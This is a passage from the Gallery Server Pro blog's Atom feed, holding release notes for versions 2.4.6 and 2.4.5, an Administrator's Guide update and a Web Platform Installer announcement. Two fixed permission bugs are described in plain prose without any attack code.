&lt;p&gt;One can also remotely trigger a sync through two new web services. These web services require a password – you choose that password in the admin page shown above.&lt;/p&gt;  &lt;p&gt;How you invoke the web service depends on how it is configured in web.config. By default, it is set to accept HTTP POST.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Faster search performance&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Search performance was improved by the addition of an index on the gs_MediaObject table. If you have hundreds of thousands of objects and are still experiencing slow searches, you can further improve performance by modifying the search stored procedure to ignore metadata in searches. It is named gs_SearchGallery. Use SQL Management Studio or a similar tool to delete or comment out the section that queries the gs_MediaObjectMetadata table.&lt;/p&gt;  &lt;p&gt;This affected SQL Server only. Again, if you are experiencing performance issues with SQLite, it is time to migrate to SQL Server.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;‘Embed code’ allows media objects to be added to other web sites&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;You can now get embed code for any media object by clicking one of the buttons above the media object:&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/_qh4427KVFsk/TWLyVu4vVRI/AAAAAAAAARY/_xAOde-vfmE/image%5B17%5D.png?imgmax=800" width="641" height="603" /&gt;&lt;/p&gt;  &lt;p&gt;This embed code lets you add media objects to other sites while keeping the original files on your own server.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;New admin setting: Allow users to download media files but not entire albums&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;One of the cool features in GSP is that users can quickly download a bunch of media objects in a ZIP archive. However, there was a potential for a user to overwhelm a server by requesting that a top level album be packaged into a ZIP file. For example, downloading the root album in a gallery with 100,000 objects causes the server to try to add 100,000 files to a ZIP archive and then transmit it to the user. Not cool.&lt;/p&gt;  &lt;p&gt;Starting in 2.4.6, an administrator can specify that only media objects in the current album can be added to a ZIP archive:&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/_qh4427KVFsk/TWLyXgzjfKI/AAAAAAAAARc/Wvyo6JVSmic/image%5B29%5D.png?imgmax=800" width="435" height="245" /&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Albums always sorted at the beginning of any thumbnail list&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Previous versions of GSP added new items at the end of each album, whether they were albums or media objects. This sometimes caused albums and media objects to be mixed together in a seemingly random fashion, making it hard to quickly find an item. In 2.4.6, albums are always shown at the beginning, and media objects are always shown at the end. This cannot be overridden, even with the rearrange function.&lt;/p&gt;  &lt;p&gt;This is similar to how Windows sorts directories and files in Windows Explorer.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Allow keeping underlying file or directory when deleting objects&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Starting in 2.4.6, one can delete an album or media object from the gallery without deleting the underlying directory or file. A new option appears on the Delete objects page:&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/_qh4427KVFsk/TWLyYCodR4I/AAAAAAAAARg/Ekbw54QO8CU/image%5B34%5D.png?imgmax=800" width="644" height="368" /&gt;&lt;/p&gt;  &lt;p&gt;Since the directory and media files aren’t deleted, they will re-appear if you synchronize the parent album. If you want to permanently prevent items from appearing in the gallery, but you don’t want to delete them from the server’s hard drive, use one of these tricks:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Mark the file or directory as hidden with a file utility such as Windows Explorer &lt;/li&gt;    &lt;li&gt;Edit the NTFS permissions on the IIS application pool identity so that it does not have access to the file or directory. &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&lt;strong&gt;More flexibility when choosing a thumbnail image for an album&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;You can now select from albums in addition to media objects when choosing a thumbnail image for an album. This lets you “bubble up” an image from a nested album:&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/_qh4427KVFsk/TWLyY23o7uI/AAAAAAAAARk/kU0K02yqINk/image%5B39%5D.png?imgmax=800" width="642" height="295" /&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;More flexibility for generating captions for new media objects&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Before 2.4.6, if GSP discovered a title embedded in the metadata of an image, it used that for the media object’s caption. If not found, it defaulted to the file name. That is still the default behavior in 2.4.6, but you can now change it if you want. A setting on the Metadata page (which is also new in 2.4.6) defines the template to use when assigning captions for newly added media objects:&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/_qh4427KVFsk/TWLyZU2-xFI/AAAAAAAAARo/rP9zH3LpBqM/image%5B44%5D.png?imgmax=800" width="430" height="99" /&gt;&lt;/p&gt;  &lt;p&gt;As you can see, the default value is {Title}, but dozens of replacement tokens are supported. A complete list is found further down on the Metadata page. Here is a partial list:&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/_qh4427KVFsk/TWLyatbgWcI/AAAAAAAAARs/PaMNzmf1xSk/image%5B49%5D.png?imgmax=800" width="312" height="221" /&gt;&lt;/p&gt;  &lt;p&gt;For example, say you want the title and file size assigned as the default caption. Specify a template like this:&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/_qh4427KVFsk/TWLybCMJoRI/AAAAAAAAARw/5s7TY30jrko/image%5B54%5D.png?imgmax=800" width="432" height="100" /&gt;&lt;/p&gt;  &lt;p&gt;Then, when you add a media file, the caption is automatically assigned:&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh3.ggpht.com/_qh4427KVFsk/TWLyb3d9TrI/AAAAAAAAAR0/muSBTK9R8MI/image%5B59%5D.png?imgmax=800" width="554" height="446" /&gt;&lt;/p&gt;  &lt;p&gt;You can mix hard coded text as well as HTML in the template. Note: You must have the HTML editing option enabled if you want to use HTML in the template. (Do this on the User settings page.)&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;More metadata extracted from files, including IPTC and GPS properties&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Several third party programs allow users to embed metadata in image files. This version has improved support for extracting IPTC metadata as well as GPS data.&lt;/p&gt;  &lt;p&gt;Note that this functionality requires .NET 3.0 or higher and that the application be running in full trust.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;GPS coordinates now link to Bing or Google Maps&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;When an image has GPS data, a link to Bing Maps is automatically created:&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/_qh4427KVFsk/TWLycbboVjI/AAAAAAAAAR4/ntYtb7eHBhM/image%5B64%5D.png?imgmax=800" width="645" height="437" /&gt;&lt;/p&gt;  &lt;p&gt;If you prefer to use Google Maps, no problem. Just update the template on the Metadata page. The popup help icon contains a pre-tested template that works with Google Maps.&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh3.ggpht.com/_qh4427KVFsk/TWLyc4XNgsI/AAAAAAAAAR8/18plNkBgHiA/image%5B69%5D.png?imgmax=800" width="600" height="102" /&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Admin can specify order and visibility of metadata&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Control which metadata items are visible and in what order in a new admin setting on the Metadata page:&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/_qh4427KVFsk/TWLydxKcxqI/AAAAAAAAASA/AWzT0zP6wQU/image%5B75%5D.png?imgmax=800" width="588" height="437" /&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Upgrade to jQuery 1.5 /jQuery path setting exposed in admin area&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Now that jQuery 1.5 is out, GSP was updated to point to the latest version. And the setting was exposed in the Site Settings – General page to make it easier to change:&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/_qh4427KVFsk/TWLyejih77I/AAAAAAAAASE/WgAcdp6QsvQ/image%5B80%5D.png?imgmax=800" width="598" height="277" /&gt;&lt;/p&gt;  &lt;p&gt;There are two things to note about the jQuery URL:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;It starts with “//”, not “http://”. This is intentional and helps improve caching performance while still supporting SSL scenarios. A &lt;a title="Blog: Cripple the Google CDN’s caching with a single character" href="http://encosia.com/2011/01/19/cripple-the-google-cdns-caching-with-a-single-character/"&gt;good discussion can be found here&lt;/a&gt;. &lt;/li&gt;    &lt;li&gt;It doesn’t actually reference version 1.5. Instead, the “1” you see just before jquery.min.js indicates that any 1.* version is acceptable. By doing this, GSP will automatically stay up to date with the current version of jQuery – at least until version 2 is released. If you don’t like the uncertainty this brings to your gallery (because an update could break things), then update the path to specify a particular version. &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;Note also the admin exposes a setting for jQuery UI. jQuery UI was added for 2.4.6 and is currently used on the Metadata page to provide the cool drag and drop functionality. I anticipate expanding its usage in the future.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Additional application details shown in admin area&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;A few additional pieces of information are now shown on the Site Settings – General page:&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/_qh4427KVFsk/TWLyfJxh59I/AAAAAAAAASI/ju8WZOyy1BY/image%5B85%5D.png?imgmax=800" width="434" height="199" /&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Improved thread safety&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Some refactoring was done to ensure that objects are updated and iterated in a thread-safe manner.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Added support for router port forwarding scenarios&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Support was added for users who configure their router to forward requests on a particular port to an internal location that may be on a different port. For example, you might expose your gallery to the world at &lt;a href="http://www.site.com:8080"&gt;http://www.site.com:8080&lt;/a&gt;, but in your router configuration you send this traffic to port 80 of a local web server.&lt;/p&gt;  &lt;p&gt;GSP now detects this situation and behaves appropriately. This required two changes:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;The external-facing address was explicitly assigned to all instances of the ComponentArt Callback control. &lt;/li&gt;    &lt;li&gt;URLs generated by the gallery (such as a welcome email) now reflect the external address, not the internal one. &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;&lt;strong&gt;Upgrade to latest version of SharpZipLib&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;A user reported that GSP could not unzip files created by Hotmail. This is actually handled by a third party library called &lt;a href="http://www.icsharpcode.net/OpenSource/SharpZipLib/"&gt;SharpZipLib&lt;/a&gt;. I upgraded to the latest version with the hope that it would fix the problem, but it did not. However, with a little extra work, I coded a bug fix that seems to do the trick. This tweaked version of SharpZipLib is included in 2.4.6. I &lt;a href="http://community.icsharpcode.net/forums/p/12736/34576.aspx#34576"&gt;reported the potential bug to SharpZipLib&lt;/a&gt; and hopefully they’ll incorporate the bug fix in the core product.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&amp;#160;&lt;/strong&gt;&lt;/p&gt;  &lt;ul&gt;&lt;!--EndFragment--&gt;&lt;/ul&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-8678970410512146353?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/8678970410512146353/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=8678970410512146353' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/8678970410512146353'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/8678970410512146353'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2011/02/gallery-server-pro-246-released.html' title='Gallery Server Pro 2.4.6 Released'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_qh4427KVFsk/TWLyTzEmbcI/AAAAAAAAARQ/Xv5NGB4bVU4/s72-c/image%5B4%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-8458496923997858925</id><published>2011-01-04T19:26:00.001-06:00</published><updated>2011-02-01T08:57:59.597-06:00</updated><title type='text'>Gallery Server Pro 2.4.5 Released</title><content type='html'>&lt;p&gt;Version 2.4.5 of Gallery Server Pro was released today. The WPI version should be available &lt;strike&gt;within a week or so&lt;/strike&gt; soon after the release of 2.4.6. A number of bugs were fixed, including a couple of important security issues. Also, a few minor features were added to enhance usability.&lt;/p&gt;  &lt;p&gt;To upgrade, follow the instructions in the &lt;a title="Gallery Server Pro Administrator&amp;#39;s Guide" href="http://www.galleryserverpro.com/download.aspx"&gt;Admin Guide&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;font color="#800000" size="3"&gt;Security fixes&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Two security issues were identified and fixed:&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;1. Gallery admin can elevate his or her own access and that of other users.&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;This issue is serious because it allows a user to elevate his or her permission to that of site administrator. The vulnerability exists in two locations:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;On the Manage Users page, a gallery administrator is able to create a new user with site administration privileges. &lt;/li&gt;    &lt;li&gt;The User Settings page allows an administrator to specify a role that all new users are automatically added to, including a role that provides site administration access. &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;The gallery admin cannot directly elevate her access, but she can create a site administrator, then log in as that user, which *does* have permission to elevate the gallery admin to a site admin.&lt;/p&gt;  &lt;p&gt;Although this vulnerability is serious, it affects few users. It is not exploitable by anonymous users or any logged on user unless they are in a role with ‘Allow administer gallery’ permission. Gallery admins are users that an administrator has already given a certain amount of trust, so they are not your average malicious user. Also, the concept of a gallery administrator is new in 2.4, so it is likely there are few accounts that are vulnerable.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;2. User can delete album on 'delete objects' page without 'delete child album' permission as long as user has 'delete media object' permission.&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;I would be surprised if anyone is actually affected by this issue because it requires that a user be given permission to delete media objects in an album but not permission to delete albums. In this scenario, the user is still able to delete albums.&lt;/p&gt;  &lt;p&gt;Both security issues are fixed in 2.4.5.&lt;/p&gt;  &lt;p&gt;&lt;font color="#9b00d3" size="3"&gt;&lt;strong&gt;&lt;strong&gt;&lt;font color="#800000" size="3"&gt;Complete list of bug fixes&lt;/font&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/font&gt;&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;(Described above) Gallery admin can elevate his or her own access and that of other users. &lt;/li&gt;    &lt;li&gt;(Described above) User can delete album on 'delete objects' page without 'delete child album' permission as long as user has 'delete media object' permission &lt;/li&gt;    &lt;li&gt;User with 'delete album' permission but not 'delete media object' permission cannot access Delete objects page &lt;/li&gt;    &lt;li&gt;Cannot override 'Allow downloading ZIP archive' options on the Gallery Control Settings page &lt;/li&gt;    &lt;li&gt;Disabling 'Show Header' option on Gallery Settings page causes website title URL to be set to blank string &lt;/li&gt;    &lt;li&gt;Error when navigating media objects: &amp;quot;The server method 'GetMediaObjectHtml' failed&amp;quot; &lt;/li&gt;    &lt;li&gt;Album Owner Template role not hidden by default on Manage Users and Manage Roles pages &lt;/li&gt;    &lt;li&gt;(DotNetNuke only) NullReferenceException during call to PerformMaintenance() function &lt;/li&gt;    &lt;li&gt;(DotNetNuke only) NullReferenceException during call to AddMembershipDataToGallerySettings() function &lt;/li&gt;    &lt;li&gt;(DotNetNuke only) Album owner function does not work when a long username and/or long role name is involved &lt;/li&gt;    &lt;li&gt;Role not saved correctly when name exceeds maximum allowed length &lt;/li&gt;    &lt;li&gt;Thumbnail images appear below treeview &lt;/li&gt;    &lt;li&gt;(Stand-alone version only) Error &amp;quot;Connection string cannot be blank&amp;quot; during 2.3 to 2.4 upgrade &lt;/li&gt;    &lt;li&gt;User album not deleted when admin disables user album on Manage Users page &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&lt;font color="#9b00d3" size="3"&gt;&lt;strong&gt;&lt;strong&gt;&lt;font color="#800000" size="3"&gt;New features&lt;/font&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/font&gt;&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;(Details below) Ability to restrict gallery admins from managing users and roles &lt;/li&gt;    &lt;li&gt;(Details below) Allow a gallery admin to give an existing user access to gallery &lt;/li&gt;    &lt;li&gt;(Details below) Album Owner Template role is unique to each gallery &lt;/li&gt;    &lt;li&gt;Include users who are gallery admins in the 'toggle admin' filter on Gallery Settings and User Settings pages &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&lt;strong&gt;Ability to restrict gallery admins from managing users and roles      &lt;br /&gt;Allow a gallery admin to give an existing user access to gallery&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Recall that each installation of Gallery Server Pro can contain multiple galleries, and each gallery can be assigned an administrator. Before 2.4.5, the following rules were enforced:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;A gallery admin could create users and roles. (The DotNetNuke module had an additional requirement that the user must also be in the Administrators role.) &lt;/li&gt;    &lt;li&gt;A gallery admin could see users and roles that have access to the gallery he or she administers, but other users and roles are hidden. &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;Both of these rules are appropriate in many cases, but additional flexibility was required. A site administrator might not want to allow a gallery admin to be able to create users or roles. And the second rule created an issue where a gallery admin could not give an existing user access to his or her gallery.&lt;/p&gt;  &lt;p&gt;To solve these issues, two application-level settings were added:&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="New_app_settings_2.4.5" border="0" alt="New_app_settings_2.4.5" src="http://lh3.ggpht.com/_qh4427KVFsk/TSPIqLVjlqI/AAAAAAAAARE/-9laCYplLvA/New_app_settings_2.4.5%5B4%5D.png?imgmax=800" width="596" height="188" /&gt;&lt;/p&gt;  &lt;p&gt;By default both options are enabled. There isn’t a change in behavior for the first option, since previous versions also let gallery admins manage users and roles. But now gallery admins are able to view users and roles that do not have access to a gallery they manage. I felt that it would be fairly common for a gallery admin to want to give an existing user access to a gallery he or she manages, so that is why it is now enabled by default.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Album Owner Template role is unique to each gallery&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Recall that users’ access to albums is managed by their role membership. Two features use roles behind the scenes – album ownership and user albums. If you are not sure what these are, the Admin Guide has a full discussion. The short story is that these features automatically create roles and apply them to users.&lt;/p&gt;  &lt;p&gt;When a role is created, it is copied from a template role called the album owner template role. This role is automatically created when needed and by default is given all permissions except for admin gallery and admin site. You, as the administrator, can edit the permissions on this template role to control which permissions a user gets when they are assigned as the owner of an album or are given a new user album.&lt;/p&gt;  &lt;p&gt;Prior to 2.4.5, this template role was named “_Album Owner Template”. There was only a single template role, regardless of how many galleries you had. This violated the concept of gallery isolation, since a single role could be edited by multiple gallery admins. For example, gallery admin Bob could edit the template role for gallery A, but so could gallery admin Vino in gallery B.&lt;/p&gt;  &lt;p&gt;Starting in 2.4.5, each gallery gets its own template role, and it is given a name that is unique to each gallery, such as “_Album Owner Template (Gallery ID 2: 'Engineering')”&lt;/p&gt;  &lt;p&gt;What does this mean for upgraders? Well, nothing if you never use the album ownership or user albums feature. It also doesn’t affect you if you never edited the role “_Album Owner Template”. However, if you changed the permission on this role, you will need to re-apply the same permissions to the new album owner template role. It will be created the first time it is needed – an easy way to trigger its creation is to temporarily make a user an owner of an album (do this in each gallery).&lt;/p&gt;  &lt;p&gt;A final note: Since GSP no longer uses the original template role “_Album Owner Template”, you can safely delete it.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-8458496923997858925?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/8458496923997858925/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=8458496923997858925' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/8458496923997858925'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/8458496923997858925'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2011/01/gallery-server-pro-245-released.html' title='Gallery Server Pro 2.4.5 Released'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_qh4427KVFsk/TSPIqLVjlqI/AAAAAAAAARE/-9laCYplLvA/s72-c/New_app_settings_2.4.5%5B4%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-3274331947374266311</id><published>2010-12-23T13:35:00.001-06:00</published><updated>2010-12-23T13:35:27.281-06:00</updated><title type='text'>Administrator’s Guide Updated</title><content type='html'>&lt;p&gt;&lt;a title="Download Gallery Server Pro Administrator&amp;#39;s Guide" href="http://www.galleryserverpro.com/support/GalleryServerProAdminGuide.pdf"&gt;&lt;img style="background-image: none; border-right-width: 0px; margin: 0px 25px 5px 0px; padding-left: 0px; padding-right: 0px; display: inline; float: left; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="AdminGuide_ss_116x145" border="0" alt="AdminGuide_ss_116x145" align="left" src="http://lh3.ggpht.com/_qh4427KVFsk/TROkftCtajI/AAAAAAAAAQ8/-EtUQ7aoJfQ/AdminGuide_ss_116x145%5B3%5D.png?imgmax=800" width="120" height="149" /&gt;&lt;/a&gt;The Administrator’s Guide has been updated for 2.4. &lt;a title="Gallery Server Pro Administrator&amp;#39;s Guide" href="http://www.galleryserverpro.com/support/GalleryServerProAdminGuide.pdf"&gt;Get it here&lt;/a&gt;. Several sections were completely rewritten, others have been enhanced, and a lot of information was added. Some of the highlights:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Updated install and upgrade sections&lt;/li&gt;    &lt;li&gt;New troubleshooting section&lt;/li&gt;    &lt;li&gt;Updated for .NET 4 scenarios &lt;/li&gt;    &lt;li&gt;Discussion of how GSP handles various media types (HTML5, Flash, Silverlight, QuickTime, DIVX, etc.) &lt;/li&gt;    &lt;li&gt;New section about galleries &lt;/li&gt;    &lt;li&gt;Rewritten tutorial for integrating GSP into an existing application &lt;/li&gt;    &lt;li&gt;New tutorials &lt;/li&gt;    &lt;li&gt;Info about installing the GSP Binary Pack &lt;/li&gt;    &lt;li&gt;All features and admin pages are now documented&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;I am hoping the tutorials are especially helpful. I have always preferred a step by step guide for learning something over definition-type documentation. The guide includes these tutorials:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;How-To: Convert an existing set of directories and files to a read-only gallery &lt;/li&gt;    &lt;li&gt;How-To: Set up multiple galleries &lt;/li&gt;    &lt;li&gt;How-To: Add a slide show to a page &lt;/li&gt;    &lt;li&gt;How-To: Create a treeview menu &lt;/li&gt;    &lt;li&gt;How-To: Add a gallery to an existing ASP.NET application &lt;/li&gt;    &lt;li&gt;How-To: Integrate into non-ASP.NET web sites (iframe Method) &lt;/li&gt; &lt;/ul&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-3274331947374266311?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/3274331947374266311/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=3274331947374266311' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/3274331947374266311'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/3274331947374266311'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2010/12/administrators-guide-updated.html' title='Administrator’s Guide Updated'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_qh4427KVFsk/TROkftCtajI/AAAAAAAAAQ8/-EtUQ7aoJfQ/s72-c/AdminGuide_ss_116x145%5B3%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-5970499147605543820</id><published>2010-12-15T09:14:00.001-06:00</published><updated>2010-12-15T09:14:15.079-06:00</updated><title type='text'>2.4.4 now available through Web Platform Installer</title><content type='html'>&lt;p&gt;This morning Microsoft completed their testing of Gallery Server Pro 2.4.4 and published it to the &lt;a title="Gallery Server Pro" href="http://www.microsoft.com/web/gallery/galleryserverpro.aspx"&gt;Web Application Gallery&lt;/a&gt;. Thanks to Microsoft for their speedy evaluation and for supporting open source.&lt;/p&gt;  &lt;p&gt;Since Microsoft started distributing GSP a little over a year ago, the Web Platform Installer has become the most popular way to download and install the gallery, with over 100,000 downloads to date. Reviews have been solid, too, averaging 4 out of 5 stars, which is higher than any other gallery!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-5970499147605543820?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/5970499147605543820/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=5970499147605543820' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/5970499147605543820'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/5970499147605543820'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2010/12/244-now-available-through-web-platform.html' title='2.4.4 now available through Web Platform Installer'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 